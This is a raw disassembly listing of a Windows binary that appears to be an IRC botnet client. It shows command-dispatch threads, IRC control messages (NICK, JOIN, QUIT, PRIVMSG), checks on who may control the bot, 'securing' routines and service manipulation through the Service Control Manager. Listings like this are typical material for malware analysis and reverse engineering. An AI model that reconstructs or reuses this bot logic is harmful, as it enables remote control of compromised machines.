mov eax, [ebp-8]
add esp, 0Ch
cmp esi, ebx
mov [ebp-450h], eax
mov [ebp-458h], ebx
jz short loc_4106B7
push esi
push offset aFull ; "full"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4106B7
mov dword ptr [ebp-458h], 1
loc_4106B7: ; CODE XREF: seg000:0041069Aj
; seg000:004106ABj
lea eax, [ebp-2C8h]
push offset dword_428B50
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push 1Eh
push eax
call sub_413059
add esp, 14h
mov [ebp-45Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4E0h]
push ebx
push eax
push offset sub_4122E7
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-45Ch]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_410725
loc_41070F: ; CODE XREF: seg000:00410723j
cmp [ebp-44Ch], ebx
jnz loc_410D58
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_41070F
; ---------------------------------------------------------------------------
loc_410725: ; CODE XREF: seg000:0041070Dj
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset dword_428B00
jmp loc_410D49
; ---------------------------------------------------------------------------
loc_410736: ; CODE XREF: seg000:0040C85Dj
; seg000:0040C872j
cmp [ebp-8], ebx
jnz short loc_410755
push ebx
push dword ptr [ebp-4]
push offset dword_428AD4
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4110B0
add esp, 14h
loc_410755: ; CODE XREF: seg000:00410739j
push dword ptr [ebp+0Ch]
call ds:dword_42F7A0
call ds:dword_42F668
call sub_4082BD
push ebx
call ds:dword_41F104 ; ExitProcess
loc_410770: ; CODE XREF: seg000:0040C833j
; seg000:0040C848j
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push eax
call sub_408F79
pop ecx
pop ecx
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4110B0
push offset dword_428AA8
jmp short loc_4107C8
; ---------------------------------------------------------------------------
loc_41079B: ; CODE XREF: seg000:0040C809j
; seg000:0040C81Ej
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+24h]
push eax
call sub_40922D
add esp, 0Ch
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4110B0
push offset dword_428A7C
loc_4107C8: ; CODE XREF: seg000:004104FDj
; seg000:00410799j
call sub_409615
jmp loc_40F438
; ---------------------------------------------------------------------------
loc_4107D2: ; CODE XREF: seg000:0040C7DFj
; seg000:0040C7F4j
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4096B5
jmp loc_40B71C
; ---------------------------------------------------------------------------
loc_4107EB: ; CODE XREF: seg000:0040C7B5j
; seg000:0040C7CAj
cmp [ebp-0Ch], ebx
mov [ebp-374h], bl
jz short loc_41082A
mov esi, [ebp+esi-90h]
cmp esi, ebx
jz short loc_41082A
push esi
push dword ptr [ebp-0Ch]
call sub_413B80
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41082A
push eax
push offset aS_1 ; "%s"
lea eax, [ebp-374h]
push 80h
push eax
call sub_413B2A
add esp, 10h
loc_41082A: ; CODE XREF: seg000:004107F4j
; seg000:004107FFj ...
push dword ptr [ebp-8Ch]
lea eax, [ebp-3F4h]
push 80h
push eax
call sub_413B2A
mov eax, [ebp+0Ch]
push offset dword_428A50
mov [ebp-3F8h], eax
mov eax, [ebp-4]
mov [ebp-2F0h], eax
mov eax, [ebp-8]
mov [ebp-2ECh], eax
lea eax, [ebp-2C8h]
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push 1Ch
push eax
call sub_413059
add esp, 20h
mov [ebp-2F4h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-3F8h]
push ebx
push eax
push offset sub_4096F5
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-2F4h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_4108CA
loc_4108B4: ; CODE XREF: seg000:004108C8j
cmp [ebp-2E8h], ebx
jnz loc_40B71F
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_4108B4
; ---------------------------------------------------------------------------
loc_4108CA: ; CODE XREF: seg000:004108B2j
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset dword_428A04
jmp loc_40B908
; ---------------------------------------------------------------------------
loc_4108DB: ; CODE XREF: seg000:0040C78Bj
; seg000:0040C7A0j
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40959D
push offset dword_4289D8
call sub_409615
jmp loc_41046A
; ---------------------------------------------------------------------------
loc_4108FB: ; CODE XREF: seg000:0040C761j
; seg000:0040C776j
push dword ptr [ebp-8Ch]
lea eax, [ebp-4DCh]
push 80h
push eax
call sub_413B2A
mov eax, [ebp+0Ch]
mov esi, [ebp+esi-90h]
mov [ebp-4E0h], eax
mov eax, [ebp-4]
mov [ebp-454h], eax
mov eax, [ebp-8]
add esp, 0Ch
cmp esi, ebx
mov [ebp-450h], eax
jz short loc_410955
push offset dword_4289D4
push esi
call sub_4139D0
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp-458h], eax
jmp short loc_41095B
; ---------------------------------------------------------------------------
loc_410955: ; CODE XREF: seg000:00410939j
mov [ebp-458h], ebx
loc_41095B: ; CODE XREF: seg000:00410953j
lea eax, [ebp-2C8h]
push offset dword_4289A4
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push 1Fh
push eax
call sub_413059
add esp, 14h
mov [ebp-45Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4E0h]
push ebx
push eax
push offset dword_4130C4
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-45Ch]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_4109C5
loc_4109B3: ; CODE XREF: seg000:004109C3j
cmp [ebp-44Ch], ebx
jnz short loc_4109E0
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_4109B3
; ---------------------------------------------------------------------------
loc_4109C5: ; CODE XREF: seg000:004109B1j
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset dword_428958
loc_4109D1: ; CODE XREF: seg000:0040F87Ej
; seg000:0040F997j
lea eax, [ebp-2C8h]
push eax
call sub_4135AD
add esp, 0Ch
loc_4109E0: ; CODE XREF: seg000:0040DC1Cj
; seg000:0040DC3Ej ...
lea eax, [ebp-2C8h]
push eax
jmp loc_40CA1F
; ---------------------------------------------------------------------------
loc_4109EC: ; CODE XREF: seg000:0040C6E5j
; seg000:0040C6FAj
push offset aVds017 ; "vds017"
lea eax, [ebp-2C8h]
push offset dword_42892C
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4110B0
add esp, 20h
jmp loc_40D4AD
; ---------------------------------------------------------------------------
loc_410A23: ; CODE XREF: seg000:0040C6BBj
; seg000:0040C6D0j
push ds:dword_45DB88
call sub_408E5A
push eax
lea eax, [ebp-2C8h]
push offset dword_4288EC
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4110B0
add esp, 24h
jmp loc_40D4AD
; ---------------------------------------------------------------------------
loc_410A61: ; CODE XREF: seg000:0040C691j
; seg000:0040C6A6j
mov esi, [ebp+esi-90h]
cmp esi, ebx
jz short loc_410A93
cmp [ebp-0Ch], ebx
jz short loc_410AA2
push esi
push dword ptr [ebp-0Ch]
call sub_413B80
pop ecx
cmp eax, ebx
pop ecx
jz short loc_410AA2
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push dword ptr [ebp+0Ch]
call sub_41106A
add esp, 0Ch
jmp short loc_410AA2
; ---------------------------------------------------------------------------
loc_410A93: ; CODE XREF: seg000:00410A6Aj
push offset aQuitLater ; "QUIT :later\r\n"
push dword ptr [ebp+0Ch]
call sub_41106A
pop ecx
pop ecx
loc_410AA2: ; CODE XREF: seg000:00410A6Fj
; seg000:00410A7Ej ...
push 0FFFFFFFEh
jmp loc_40B721
; ---------------------------------------------------------------------------
loc_410AA9: ; CODE XREF: seg000:0040C667j
; seg000:0040C67Cj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push dword ptr [ebp+0Ch]
call sub_41106A
push offset dword_428898
call sub_409615
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_40B722
; ---------------------------------------------------------------------------
loc_410ACB: ; CODE XREF: seg000:0040C63Dj
; seg000:0040C652j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push dword ptr [ebp+0Ch]
call sub_41106A
push offset dword_428854
call sub_409615
add esp, 0Ch
xor eax, eax
jmp loc_40B722
; ---------------------------------------------------------------------------
loc_410AEC: ; CODE XREF: seg000:0040C613j
; seg000:0040C628j
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4055DD
jmp loc_40F3A1
; ---------------------------------------------------------------------------
loc_410B02: ; CODE XREF: seg000:0040C56Ej
; seg000:0040C583j
push dword ptr [ebp+esi-90h]
push 1Eh
push offset dword_428844
push offset dword_428838
jmp loc_40C3AE
; ---------------------------------------------------------------------------
loc_410B1A: ; CODE XREF: seg000:0040C544j
; seg000:0040C559j
push dword ptr [ebp+esi-90h]
push 1Bh
push offset dword_42882C
push offset dword_42881C
jmp loc_40C3AE
; ---------------------------------------------------------------------------
loc_410B32: ; CODE XREF: seg000:0040C36Fj
; seg000:0040C384j
mov edi, [ebp+esi-90h]
cmp edi, ebx
jz short loc_410B51
push edi
call sub_413B1F
test eax, eax
pop ecx
jz short loc_410B51
push edi
call sub_413B1F
pop ecx
jmp short loc_410B56
; ---------------------------------------------------------------------------
loc_410B51: ; CODE XREF: seg000:00410B3Bj
; seg000:00410B46j
mov eax, ds:dword_428224
loc_410B56: ; CODE XREF: seg000:00410B4Fj
mov esi, [ebp+esi-8Ch]
mov [ebp-464h], eax
cmp esi, ebx
jz short loc_410B7B
push esi
loc_410B68: ; CODE XREF: seg000:00410B8Aj
lea eax, [ebp-474h]
push 10h
push eax
call sub_413B2A
add esp, 0Ch
jmp short loc_410B92
; ---------------------------------------------------------------------------
loc_410B7B: ; CODE XREF: seg000:00410B65j
cmp [ebp-9B3h], bl
jz short loc_410B8C
lea eax, [ebp-0C4h]
push eax
jmp short loc_410B68
; ---------------------------------------------------------------------------
loc_410B8C: ; CODE XREF: seg000:00410B81j
mov [ebp-474h], bl
loc_410B92: ; CODE XREF: seg000:00410B79j
mov eax, [ebp-4]
push dword ptr [ebp-8Ch]
mov esi, [ebp+0Ch]
mov [ebp-458h], eax
mov eax, [ebp-8]
push 80h
mov [ebp-454h], eax
lea eax, [ebp-4F4h]
push eax
mov [ebp-4F8h], esi
call sub_413B2A
add esp, 0Ch
push dword ptr [ebp-464h]
push esi
call sub_408619
pop ecx
push eax
lea eax, [ebp-2C8h]
push offset dword_423DF4
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push 11h
push eax
call sub_413059
add esp, 1Ch
mov [ebp-460h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4F8h]
push ebx
push eax
push offset loc_4064B2
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-460h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_410C43
loc_410C2D: ; CODE XREF: seg000:00410C41j
cmp [ebp-450h], ebx
jnz loc_40B71F
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_410C2D
; ---------------------------------------------------------------------------
loc_410C43: ; CODE XREF: seg000:00410C2Bj
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset unk_4287D0
jmp loc_40B908
; ---------------------------------------------------------------------------
loc_410C54: ; CODE XREF: seg000:0040C31Bj
; seg000:0040C330j ...
push edi
push offset aSecure ; "secure"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz short loc_410C7C
push edi
push offset aSec ; "sec"
call sub_4139D0
pop ecx
mov [ebp-458h], ebx
test eax, eax
pop ecx
jnz short loc_410C86
loc_410C7C: ; CODE XREF: seg000:00410C63j
mov dword ptr [ebp-458h], 1
loc_410C86: ; CODE XREF: seg000:00410C7Aj
push dword ptr [ebp-8Ch]
lea eax, [ebp-4DCh]
push 80h
push eax
call sub_413B2A
mov eax, [ebp+0Ch]
add esp, 0Ch
cmp [ebp-458h], ebx
mov [ebp-4E0h], eax
mov eax, [ebp-4]
mov [ebp-454h], eax
mov eax, [ebp-8]
mov [ebp-450h], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_410CCD
mov eax, offset aUnsecuring ; "Unsecuring"
loc_410CCD: ; CODE XREF: seg000:00410CC6j
push eax
push offset dword_428780
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_413B2A
push ebx
lea eax, [ebp-2C8h]
push 19h
push eax
call sub_413059
add esp, 1Ch
mov [ebp-45Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4E0h]
push ebx
push eax
push offset sub_4129BE
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-45Ch]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_410D3D
loc_410D2B: ; CODE XREF: seg000:00410D3Bj
cmp [ebp-44Ch], ebx
jnz short loc_410D58
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_410D2B
; ---------------------------------------------------------------------------
loc_410D3D: ; CODE XREF: seg000:00410D29j
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset unk_428730
loc_410D49: ; CODE XREF: seg000:0040EFC1j
; seg000:0040FA93j ...
lea eax, [ebp-2C8h]
push eax
call sub_4135AD
add esp, 0Ch
loc_410D58: ; CODE XREF: seg000:0040DCBAj
; seg000:0040DCDCj ...
lea eax, [ebp-2C8h]
push eax
call sub_409615
jmp loc_40B90E
; ---------------------------------------------------------------------------
loc_410D69: ; CODE XREF: seg000:0040C2F1j
; seg000:0040C306j
push offset aEnz9_9b ; "enz 9.9b"
push offset dword_42870C
loc_410D73: ; CODE XREF: seg000:0040F833j
; seg000:0040FB47j ...
lea eax, [ebp-2C8h]
push eax
call sub_4135AD
loc_410D7F: ; CODE XREF: seg000:004104B5j
add esp, 0Ch
jmp loc_40D48C
; ---------------------------------------------------------------------------
loc_410D87: ; CODE XREF: seg000:0040C2C7j
; seg000:0040C2DCj
mov esi, [ebp+esi-90h]
cmp esi, ebx
jz short loc_410DE7
push esi
call sub_413B1F
cmp eax, ebx
pop ecx
jl short loc_410DDC
cmp eax, 2
jge short loc_410DDC
mov edx, [ebp+20h]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_410DD1
lea eax, [esi+1]
push eax
lea eax, [ebp-2C8h]
push offset dword_42B880
push eax
call sub_4135AD
add esp, 0Ch
mov [esi], bl
jmp loc_40D1C9
; ---------------------------------------------------------------------------
loc_410DD1: ; CODE XREF: seg000:00410DB0j
push eax
push offset dword_4286CC
jmp loc_40D1BA
; ---------------------------------------------------------------------------
loc_410DDC: ; CODE XREF: seg000:00410D9Bj
; seg000:00410DA0j
push eax
push offset dword_42868C
jmp loc_40D1BA
; ---------------------------------------------------------------------------
loc_410DE7: ; CODE XREF: seg000:00410D90j
mov edi, [ebp+20h]
xor esi, esi
loc_410DEC: ; CODE XREF: seg000:00410E08j
push dword ptr [ebp-94h]
push edi
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz short loc_410E0F
inc esi
add edi, 80h
cmp esi, 2
jl short loc_410DEC
jmp loc_40D1C9
; ---------------------------------------------------------------------------
loc_410E0F: ; CODE XREF: seg000:00410DFCj
mov eax, [ebp+20h]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp-0C4h]
push eax
push offset dword_42B880
jmp loc_40D1BA
; ---------------------------------------------------------------------------
loc_410E29: ; CODE XREF: seg000:0040C29Dj
; seg000:0040C2B2j
push dword ptr [ebp-90h]
push offset dword_42B7D8
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz short loc_410E98
call sub_413222
push ebx
call ds:dword_41F104 ; ExitProcess
loc_410E4B: ; CODE XREF: seg000:0040C273j
; seg000:0040C288j
push dword ptr [ebp+esi-90h]
xor eax, eax
cmp [ebp-9A4h], bl
setnz al
push eax
lea eax, [ebp-564h]
push ds:dword_428244
push eax
call sub_412797
lea eax, [ebp-564h]
push eax
push offset aNickS ; "NICK %s\r\n"
push dword ptr [ebp+0Ch]
call sub_41106A
lea eax, [ebp-564h]
push eax
push offset dword_428654
call sub_409689
loc_410E95: ; CODE XREF: seg000:0040DE35j
add esp, 24h
loc_410E98: ; CODE XREF: seg000:0040B9B7j
; seg000:0040B9C3j ...
mov eax, [ebp+2Ch]
jmp loc_40B722
; ---------------------------------------------------------------------------
loc_410EA0: ; CODE XREF: seg000:0040BE73j
; seg000:0040BE88j
mov esi, [ebp+esi-90h]
cmp esi, ebx
mov [ebp+8], esi
jz loc_40B71F
cmp [ebp-98h], ebx
jnz loc_40B71F
push offset asc_42B900 ; "!"
push dword ptr [ebp-94h]
call sub_414D28
mov esi, eax
push offset dword_42E344
push ebx
inc esi
call sub_414D28
push offset asc_428650 ; "~"
push eax
call sub_414D28
push dword ptr [ebp+8]
mov edi, eax
push offset aHi ; "hi"
call sub_4139D0
add esp, 20h
test eax, eax
jz short loc_410F48
lea eax, [ebp-0C4h]
push edi
push eax
lea eax, [ebp-0C4h]
push eax
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push dword ptr [ebp+0Ch]
call sub_41106A
lea eax, [ebp-0C4h]
push eax
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push dword ptr [ebp+0Ch]
call sub_41106A
push edi
push esi
push offset dword_4285C4
loc_410F34: ; CODE XREF: seg000:00410FA4j
lea eax, [ebp-2C8h]
push eax
call sub_4135AD
add esp, 30h
jmp loc_40BCFF
; ---------------------------------------------------------------------------
loc_410F48: ; CODE XREF: seg000:00410EFBj
mov dword ptr [ebp+2Ch], offset off_4282F8
loc_410F4F: ; CODE XREF: seg000:00410F6Bj
mov eax, [ebp+2Ch]
push edi
push dword ptr [eax]
call sub_4133B2
pop ecx
test eax, eax
pop ecx
jnz short loc_410FA6
add dword ptr [ebp+2Ch], 4
cmp dword ptr [ebp+2Ch], offset off_4282FC
jl short loc_410F4F
lea eax, [ebp-0C4h]
push edi
push eax
lea eax, [ebp-0C4h]
push eax
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push dword ptr [ebp+0Ch]
call sub_41106A
lea eax, [ebp-0C4h]
push eax
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push dword ptr [ebp+0Ch]
call sub_41106A
push edi
push esi
push offset dword_428584
jmp short loc_410F34
; ---------------------------------------------------------------------------
loc_410FA6: ; CODE XREF: seg000:00410F5Ej
mov edi, [ebp+20h]
xor esi, esi
loc_410FAB: ; CODE XREF: seg000:00410FD5j
cmp [ebp+8], ebx
jz loc_40B71F
cmp [edi], bl
jnz short loc_410FCB
push dword ptr [ebp+8]
push offset aHi ; "hi"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz short loc_410FDC
loc_410FCB: ; CODE XREF: seg000:00410FB6j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_410FAB
jmp loc_40B71F
; ---------------------------------------------------------------------------
loc_410FDC: ; CODE XREF: seg000:00410FC9j
shl esi, 7
add esi, [ebp+20h]
lea eax, [ebp-0A94h]
push 7Fh
push eax
push esi
call sub_414DD0
add esp, 0Ch
cmp [ebp-8], ebx
jnz short loc_411013
push ebx
push dword ptr [ebp-4]
push offset dword_428550
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4110B0
add esp, 14h
loc_411013: ; CODE XREF: seg000:00410FF7j
lea eax, [ebp-0C4h]
push eax
push offset dword_42851C
jmp loc_40B908
; ---------------------------------------------------------------------------
loc_411024: ; CODE XREF: seg000:0040B569j
; seg000:0040B57Ej
push dword ptr [ebp+18h]
push offset aUserhostS ; "USERHOST %s\r\n"
push dword ptr [ebp+0Ch]
call sub_41106A
push offset dword_4282D0
push dword ptr [ebp+18h]
push offset aModeSS ; "MODE %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_41106A
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push offset aJoinSS ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_41106A
add esp, 2Ch
mov ds:dword_45DD08, edi
jmp loc_40B5F8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41106A proc near ; CODE XREF: sub_40B1E3+3Dp
; seg000:0040B526p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41551F
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call ds:dword_42F758
leave
retn
sub_41106A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4110B0 proc near ; CODE XREF: start+88p
; seg000:004014BDp ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_4110CB
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_4110CB: ; CODE XREF: sub_4110B0+14j
push edi
call sub_413DB0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_413DB0
push [ebp+arg_8]
sub esi, eax
lea eax, [ebp+var_400]
push offset aS_1 ; "%s"
push esi
push eax
call sub_413B2A
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset dword_42B998
push eax
call sub_4135AD
add esp, 2Ch
lea eax, [ebp+var_200]
push 0
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call ds:dword_42F758
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_411149
push 7D0h
call ds:dword_41F058 ; Sleep
locret_411149: ; CODE XREF: sub_4110B0+8Cj
leave
retn
sub_4110B0 endp
; =============== S U B R O U T I N E =======================================
sub_41114B proc near ; CODE XREF: seg000:loc_40D267p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_4111B0
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push ds:dword_42B9B0[esi]
push edi
push eax
call sub_4111D2
add esp, 14h
test eax, eax
jnz short loc_411193
push edi
push ds:off_42B9AC[esi]
mov esi, offset dword_45E3D0
push offset dword_42BAE4
push esi
call sub_4135AD
add esp, 10h
jmp short loc_4111CD
; ---------------------------------------------------------------------------
loc_411193: ; CODE XREF: sub_41114B+2Aj
push eax
call sub_411274
push eax
push edi
mov esi, offset dword_45E3D0
push offset dword_42BAA8
push esi
call sub_4135AD
add esp, 14h
jmp short loc_4111CD
; ---------------------------------------------------------------------------
loc_4111B0: ; CODE XREF: sub_41114B+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_45E3D0
push ds:off_42B9A8[eax*4]
push offset dword_42BA70
push esi
call sub_4135AD
add esp, 0Ch
loc_4111CD: ; CODE XREF: sub_41114B+46j
; sub_41114B+63j
mov eax, esi
pop edi
pop esi
retn
sub_41114B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4111D2 proc near ; CODE XREF: sub_41114B+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call ds:dword_42F6FC
mov edi, eax
cmp edi, ebx
jnz short loc_4111F9
call ds:dword_41F068 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_41126E
; ---------------------------------------------------------------------------
loc_4111F9: ; CODE XREF: sub_4111D2+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call ds:dword_42F5F0
mov esi, eax
cmp esi, ebx
jnz short loc_411219
call ds:dword_41F068 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_411266
; ---------------------------------------------------------------------------
loc_411219: ; CODE XREF: sub_4111D2+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_41124C
cmp eax, 3
jz short loc_41123D
jle short loc_41125F
cmp eax, 6
jg short loc_41125F
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call ds:dword_42F658
jmp short loc_411253
; ---------------------------------------------------------------------------
loc_41123D: ; CODE XREF: sub_4111D2+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call ds:dword_42F5F8
jmp short loc_411253
; ---------------------------------------------------------------------------
loc_41124C: ; CODE XREF: sub_4111D2+4Dj
push esi
call ds:dword_42F65C
loc_411253: ; CODE XREF: sub_4111D2+69j
; sub_4111D2+78j
test eax, eax
jnz short loc_41125F
call ds:dword_41F068 ; RtlGetLastWin32Error
mov ebx, eax
loc_41125F: ; CODE XREF: sub_4111D2+54j
; sub_4111D2+59j ...
push esi
call ds:dword_42F60C
loc_411266: ; CODE XREF: sub_4111D2+45j
push edi
call ds:dword_42F60C
pop esi
loc_41126E: ; CODE XREF: sub_4111D2+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_4111D2 endp
; =============== S U B R O U T I N E =======================================
sub_411274 proc near ; CODE XREF: sub_41114B+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_411329
jz loc_411322
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_4112EC
jz short loc_4112E2
mov ecx, eax
sub ecx, 3
jz short loc_4112D8
dec ecx
dec ecx
jz short loc_4112CE
dec ecx
jz short loc_4112C4
sub ecx, 51h
jz short loc_4112BA
sub ecx, 24h
jnz loc_41139F ; default
; jumptable 00411346 cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_411391
; ---------------------------------------------------------------------------
loc_4112BA: ; CODE XREF: sub_411274+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_411391
; ---------------------------------------------------------------------------
loc_4112C4: ; CODE XREF: sub_411274+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_411391
; ---------------------------------------------------------------------------
loc_4112CE: ; CODE XREF: sub_411274+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_411391
; ---------------------------------------------------------------------------
loc_4112D8: ; CODE XREF: sub_411274+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_411391
; ---------------------------------------------------------------------------
loc_4112E2: ; CODE XREF: sub_411274+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_411391
; ---------------------------------------------------------------------------
loc_4112EC: ; CODE XREF: sub_411274+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_41131B
dec ecx
jz short loc_411314
dec ecx
jz short loc_41130D
dec ecx
jnz loc_41139F ; default
; jumptable 00411346 cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_411391
; ---------------------------------------------------------------------------
loc_41130D: ; CODE XREF: sub_411274+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_411391
; ---------------------------------------------------------------------------
loc_411314: ; CODE XREF: sub_411274+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_411391
; ---------------------------------------------------------------------------
loc_41131B: ; CODE XREF: sub_411274+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_411391
; ---------------------------------------------------------------------------
loc_411322: ; CODE XREF: sub_411274+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_411391
; ---------------------------------------------------------------------------
loc_411329: ; CODE XREF: sub_411274+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_41139F ; default
; jumptable 00411346 cases 1,5,6,8,9,12,13,15,16
jz short loc_41138C
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_41139F ; default
; jumptable 00411346 cases 1,5,6,8,9,12,13,15,16
movzx ecx, ds:byte_4113E0[ecx]
jmp ds:off_4113B8[ecx*4] ; switch jump
loc_41134D: ; DATA XREF: seg000:off_4113B8o
push offset aTheSpecifiedDa ; jumptable 00411346 case 7
jmp short loc_411391
; ---------------------------------------------------------------------------
loc_411354: ; CODE XREF: sub_411274+D2j
; DATA XREF: seg000:off_4113B8o
push offset aTheServiceDepe ; jumptable 00411346 case 17
